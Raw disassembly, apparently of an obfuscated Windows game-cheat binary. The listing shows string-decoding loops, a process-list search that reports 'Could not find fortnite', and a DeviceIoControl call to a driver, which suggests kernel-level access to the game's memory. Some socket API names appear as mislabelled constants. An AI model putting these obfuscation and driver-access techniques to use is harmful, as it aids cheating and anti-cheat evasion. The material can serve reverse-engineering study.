nop dword [rax]
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x140095709
lea rax, [r8 + 8]
cmp rbx, rax
je 0x1400956e3
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400956bd
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x1400956a2
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14009567f
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x140095662
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140095654
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140095637
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x14009561a
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x140095200
lea rbx, [r8 + 1]
lea r8, [rbx + 0x28]
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x140095bce
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x140095bb1
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x1400953e3
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x1400953c8
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x1400953ad
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x1400955c9
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x140095588
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x14009554a
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x140095522
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x140095200
lea rbx, [r8 + 0x42]
lea r8, [rbx + 0x2a]
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x1400954f3
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x1400954d3
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x1400954b8
lea rcx, [r8 + 2]
cmp rbx, rcx
ja 0x140095498
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x140095478
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x14009546a
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x140095447
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x14009541e
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x140095403
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x140095200
mov rbx, rcx
lea r8, [rcx + 0x40]
jmp 0x140095200
lea ecx, [r9 + 0x12]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7e
jmp 0x1400951f0
lea ecx, [r9 + 0x26]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xa
jmp 0x140095187
add r9b, 0x3a
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140095110
lea ecx, [r9 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x10
jmp 0x140095aa3
sub r9b, 0x7c
movzx eax, r9b
and al, r10b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x1400950f6
sub r9b, 0x68
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x28
dec r11
inc r11
jmp 0x1400950f6
lea edx, [r9 - 0x54]
mov ecx, 0x26
jmp 0x140095afe
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
add rbx, r8
jmp 0x140095b69
sub r9b, 0x2c
movzx eax, r9b
and al, r10b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140095b69
lea ecx, [r9 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x58
jmp 0x1400959bf
sub r9b, 4
movzx eax, r9b
and al, r10b
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400959eb
add r9b, 0x10
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x70
movzx eax, byte [rbp + r11 + 0xd0]
add rax, r8
add r11, rax
inc r11
jmp 0x1400950f6
sub r9b, 0x3e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x4e
mov byte [rbp + r11 + 0xd0], dil
inc r11
jmp 0x1400950f6
lea edx, [r9 - 0x2a]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp r8, 6
jb 0x14009553a
lea ecx, [r9 + 4]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 0x38]
jmp 0x140095aa3
lea ecx, [r9 - 0x16]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x66
cmp rbx, 0xa
jae 0x140095974
lea rax, [r8 + 0x1000]
cmp rbx, rax
jbe 0x1400958d7
lea edx, [r9 - 0x34]
movzx eax, dl
and al, r10b
mov ecx, gethostname
jmp 0x140095559
lea edx, [r9 - 2]
movzx eax, dl
and al, r10b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
lea rax, [r8 + rbx]
cmp rax, 0x61
je 0x140095992
lea rcx, [r8 + 8]
cmp rbx, rcx
jbe 0x1400957dd
lea edx, [r9 + 0x1e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14009559e
add r9b, 0x14
movzx eax, r9b
and al, r10b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140095b97
add r9b, 0x28
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x18
jmp 0x1400959eb
lea edx, [r9 + 0x3c]
mov ecx, 0x2e
jmp 0x1400959ae
add r9b, 0x50
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x30
jmp 0x140095b69
add r9b, 0x64
movzx eax, r9b
and al, r10b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
add rbx, r8
jmp 0x140095b69
lea ecx, [r9 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x48
jmp 0x140095b0f
sub r9b, 0x74
movzx eax, r9b
and al, r10b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x1400950f6
sub r9b, 0x60
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x60
inc r8
dec r11
inc r11
jmp 0x1400950f6
lea edx, [r9 - 0x4c]
movzx eax, dl
and al, r10b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140095aa3
lea rax, [r8 + 5]
cmp rbx, rax
jae 0x14009574c
lea ecx, [r9 + 0x76]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3a
jmp 0x1400955e3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140095772
add r9b, 0x5c
movzx eax, r9b
and al, r10b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140095b97
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140095796
lea ecx, [r9 + 0x34]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6c
jmp 0x1400959bf
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400957ad
lea edx, [r9 - 8]
mov ecx, 0x1c
jmp 0x140095afe
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400955e3
sub r9b, 0x1c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3c
dec r11
inc r11
jmp 0x1400950f6
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140095801
lea ecx, [r9 + 0xa]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x46
jmp 0x140095aa3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140095833
sub r9b, 0xa
movzx eax, r9b
and al, r10b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x1400950f6
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14009585f
sub r9b, 0x1e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2e
dec r11
inc r11
jmp 0x1400950f6
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140095888
sub r9b, 0x46
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x16
add rbx, r8
jmp 0x140095b69
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400958b1
sub r9b, 0x5a
movzx eax, r9b
and al, r10b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140095b69
cmp rbx, rcx
jne 0x14009559e
add r9b, 0x6a
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140095b97
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14009590f
sub r9b, 0x48
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 8
movzx eax, byte [rbp + r11 + 0xd0]
add rax, r8
add r11, rax
inc r11
jmp 0x1400950f6
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140095926
lea edx, [r9 - 0x70]
mov ecx, 8
jmp 0x1400959ae
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14009594c
add r9b, 0x7c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x64
jmp 0x140095b69
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140095564
lea ecx, [r9 + 0x54]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4c
jmp 0x140095b0f
lea edx, [r9 - 0x10]
movzx eax, dl
and al, r10b
movzx ecx, r10b
sub cl, al
add cl, 0x38
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140095b0f
lea ecx, [r9 - 0x24]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 4]
jmp 0x1400959bf
lea edx, [r9 + 0x22]
mov ecx, 9
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add r9b, 0x52
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x3e
add r9b, r10b
movzx eax, r9b
mov byte [rbp + r11 + 0xd0], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x78
add cl, r10b
mov byte [rbp + r11 + 0xd0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0xd0]
add rax, r8
add r11, rax
inc r11
jmp 0x1400950f6
add r9b, 0x4a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 6
add rbx, r8
jmp 0x140095b69
add r9b, 0x72
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x1e
dec r11
inc r11
jmp 0x1400950f6
lea ecx, [r9 - 0x66]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x36
jmp 0x140095aa3
movzx r9d, r11b
lea ecx, [r9 - 0x3e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4e
add r9b, 0x7a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x56
add r9b, r10b
mov byte [rbp + r11 + 0xd0], r9b
inc r8
dec r11
inc r11
jmp 0x1400950f6
lea ecx, [r11 - 0x16]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x66
dec r11
inc r11
jmp 0x1400950f6
movzx r9d, r11b
lea edx, [r9 - 2]
mov ecx, 7
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add r9b, 0x66
movzx eax, r9b
and al, r10b
mov ecx, 0x1b
sub cl, al
add cl, cl
add cl, dil
add cl, r9b
add cl, r10b
mov byte [rbp + r11 + 0xd0], cl
add rbx, r8
jmp 0x140095b69
lea ecx, [r11 + 0x12]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7e
add rbx, r8
jmp 0x140095b69
lea rax, [r11 + r15]
and sil, al
add sil, sil
sub al, sil
lea edi, [r10 + rax]
sub dil, 0xa
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400950f6
lea rax, [r11 + r12]
and sil, al
mov ecx, 0x29
sub cl, sil
lea edi, [rcx + rcx]
add dil, al
add dil, r10b
movzx eax, byte [rbp + r11 + 0xd0]
add rax, r8
add r11, rax
inc r11
jmp 0x1400950f6
add r9b, 0x4e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x22
jmp 0x1400950f3
add r9b, 0x62
movzx eax, r9b
and al, r10b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400950e3
lea rdi, [rbp + 0x1719418]
jmp 0x140095c07
lea rdi, [rbp + 0x9d078e]
jmp 0x140095c07
lea rdi, [rbp + 0xd0]
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
mov dword [rbp + 0x2c0], 0x238
lea rdx, [rbp + 0x2c0]
mov rcx, rax
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x140095c67
nop dword [rax]
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x2ec]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
mov rcx, rbx
test eax, eax
je 0x140095c9c
lea rdx, [rbp + 0x2c0]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x140095c40
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x1401eccd8], r13d
mov r9d, reloc.WS2_32.dll_recv
lea r8, str.Error
lea rdx, str.Could_not_find_fortnite
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp + 0x2c8]
mov dword [0x1401eccd8], eax
test eax, eax
je 0x140095c77
call fcn.14004d230
call fcn.14004d1b0
movzx eax, al
mov qword [0x1401eccc8], rax
mov qword [rbp + 0x270], r13
mov dword [rbp + 0x240], r13d
mov eax, dword [0x1401eccd8]
mov dword [rbp + 0x244], eax
lea rax, [rbp + 0x270]
mov qword [rbp + 0x248], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x240]
mov edx, 0x220488
mov rcx, qword [0x1401eccd0]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov rax, qword [rbp + 0x270]
mov qword [0x1401eccc0], rax
lea rdx, [0x140051020]
lea rcx, [rbp + 0x2a0]
call fcn.1400407b0
nop
lea rcx, [rbp + 0x2a0]
call fcn.140051240
mov rsi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [rbp + 0x1a0], 0x543654e6
mov dword [rbp + 0x1a4], 0x6a5f5f1a
mov word [rbp + 0x1a8], 0xf159
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1aa], xmm0
mov dword [rbp + 0x1ba], eax
movabs r14, 0xa45e5c3b5133cc7f
movabs r15, 0xc7513e15dad23077
movabs r13, 0x7e94859f386a9779
movabs r12, 0xed1b14b1f39b657d
movzx edi, byte [rsp + 0x40]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x1e
jae 0x1400969b6
movzx r10d, byte [rbp + r11 + 0x1a0]
mov edx, r10d
nop dword [rax + rax]
cmp rbx, r11
ja 0x1400969ad
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140095e0c
lea rcx, [r11 + r14]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
sub dil, 0x79
jmp 0x140095e53
je 0x140096941
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400968b9
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14009688e
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140096847
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140096825
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140096800
movzx r9d, r11b
cmp r8, r11
ja 0x1400969a4
lea rax, [r8 + 0x5a]
cmp rbx, rax
jae 0x140095e81
lea ecx, [r9 + 0x6b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x13
jmp 0x140095ec0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400967b9
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140096796
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140096776
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140096759
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140096451
nop dword [rax]
lea rcx, [r8 + 0x10]
cmp rbx, rcx
je 0x140096432
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x140096409
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x1400963e3
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x1400963c4
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x1400963a1
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140096381
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x140096362
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x140096342
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140096310
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140095ed0
mov rbx, rcx
lea r8, [rcx + 0x200]
lea rax, [r8 + 9]
cmp rcx, rax
jb 0x140096987
lea rax, [r8 + 6]
cmp rcx, rax
jb 0x14009696a
lea rax, [r8 + 0x40]
cmp rcx, rax
jb 0x1400960b8
lea rax, [r8 + 0x20]
cmp rcx, rax
jb 0x14009609d
lea rax, [r8 + 0xa]
cmp rcx, rax
jb 0x140096082
lea rax, [r8 + 8]
cmp rcx, rax
jb 0x1400962c0
lea rax, [r8 + 0x42]
cmp rcx, rax
jb 0x140096274
lea rax, [r8 + 0x28]
cmp rcx, rax
jb 0x140096237
lea rax, [r8 + 0x10]
cmp rcx, rax
jb 0x14009620f
lea rax, [r8 + 0x200]
cmp rcx, rax
jb 0x140095ed0
lea rbx, [r8 + 0x5a]
lea r8, [rbx + 0x64]
lea rcx, [r8 + 0x7a]
cmp rbx, rcx
ja 0x1400961dd
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x1400961bd
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x14009619e
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x14009617e
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14009615b
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14009613c
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x140096116
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x1400960f0
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x1400960d5
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x140095ed0
mov rbx, rcx
lea r8, [rcx + 4]
jmp 0x140095ed0
lea ecx, [r9 - 0xb]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x4d
jmp 0x140095ec0
lea ecx, [r9 - 9]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x3f
jmp 0x140095e57
sub r9b, 7
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x31
jmp 0x140095de0
lea ecx, [r9 + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x68
jmp 0x1400967d3
add r9b, 0x5a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x76
inc r8
dec r11
inc r11
jmp 0x140095dc5
add r9b, 0x5c
movzx eax, r9b
and al, r10b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140095dc5
lea edx, [r9 + 0x5e]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140096865
add r9b, 0x60
movzx eax, r9b
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
add rbx, r8
jmp 0x1400968a0
add r9b, 0x62
movzx eax, r9b
and al, r10b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400968a0
lea edx, [r9 + 0x64]
movzx eax, dl
and al, r10b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400968cf
add r9b, 0x66
movzx eax, r9b
and al, r10b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400968fc
add r9b, 0x68
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x1a0]
add rax, r8
add r11, rax
inc r11
jmp 0x140095dc5
sub r9b, 0x13
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7b
mov byte [rbp + r11 + 0x1a0], dil
inc r11
jmp 0x140095dc5
lea ecx, [r9 - 0x11]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x77
cmp r8, 0xa
jb 0x140096227
lea edx, [r9 - 0x66]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x6c]
jmp 0x1400967d3
lea ecx, [r9 - 0xf]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x69
cmp rbx, 0x1000
jae 0x140096715
lea rax, [r8 + 0x20]
cmp rbx, rax
jbe 0x14009660f
lea edx, [r9 - 0x52]
movzx eax, r10b
and al, dl
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14009624d
lea ecx, [r9 - 0xd]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x5b
lea rax, [r8 + rbx]
cmp rax, 0x7a
je 0x140096737
lea rax, [r8 + 0x40]
cmp rbx, rax
jbe 0x140096534
lea edx, [r9 + 0x43]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x2b
add dil, dl
jmp 0x14009628a
sub r9b, 0x7e
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x1a0]
add rax, r8
add r11, rax
inc r11
jmp 0x140095dc5
sub r9b, 0x7c
movzx eax, r9b
and al, r10b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400968fc
lea edx, [r9 - 0x7a]
movzx eax, dl
and al, r10b
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400968cf
sub r9b, 0x78
movzx eax, r9b
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400968a0
sub r9b, 0x76
movzx eax, r9b
and al, r10b
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
add rbx, r8
jmp 0x1400968a0
lea edx, [r9 - 0x74]
movzx eax, dl
and al, r10b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140096865
sub r9b, 0x72
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140095dc5
sub r9b, 0x70
movzx eax, r9b
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140095dc5
lea edx, [r9 - 0x6e]
movzx eax, dl
and al, r10b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400967d3
lea rax, [r8 + 6]
cmp rbx, rax
jae 0x140096475
lea ecx, [r9 + 0x7f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x79
jmp 0x1400962d6
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400964b0
sub r9b, 0x2a
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x1a0]
add rax, r8
add r11, rax
inc r11
jmp 0x140095dc5
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400964d8
lea edx, [r9 - 0x2e]
movzx eax, r10b
and al, dl
mov ecx, 0x21
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x1400968cf
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140096501
sub r9b, 0x30
movzx eax, r10b
and al, r9b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x1400968a0
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400962d6
sub r9b, 0x36
movzx eax, r10b
and al, r9b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
dec r11
inc r11
jmp 0x140095dc5
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140096559
lea edx, [r9 + 0x41]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x39
jmp 0x1400967d0
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140096585
add r9b, 0x3d
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x55
dec r11
inc r11
jmp 0x140095dc5
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400965ab
add r9b, 0x37
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x7f
jmp 0x1400968a0
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400965d3
lea edx, [r9 + 0x35]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x73
add dil, dl
jmp 0x1400968cf
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14009628a
add r9b, 0x31
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x57
movzx eax, byte [rbp + r11 + 0x1a0]
add rax, r8
add r11, rax
inc r11
jmp 0x140095dc5
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14009664a
sub r9b, 0x54
movzx eax, r10b
and al, r9b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
movzx eax, byte [rbp + r11 + 0x1a0]
add rax, r8
add r11, rax
inc r11
jmp 0x140095dc5
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140096672
lea edx, [r9 - 0x58]
movzx eax, r10b
and al, dl
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x1400968cf
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14009669b
sub r9b, 0x5c
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x7c
add rbx, r8
jmp 0x1400968a0
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400966c0
lea edx, [r9 - 0x5e]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
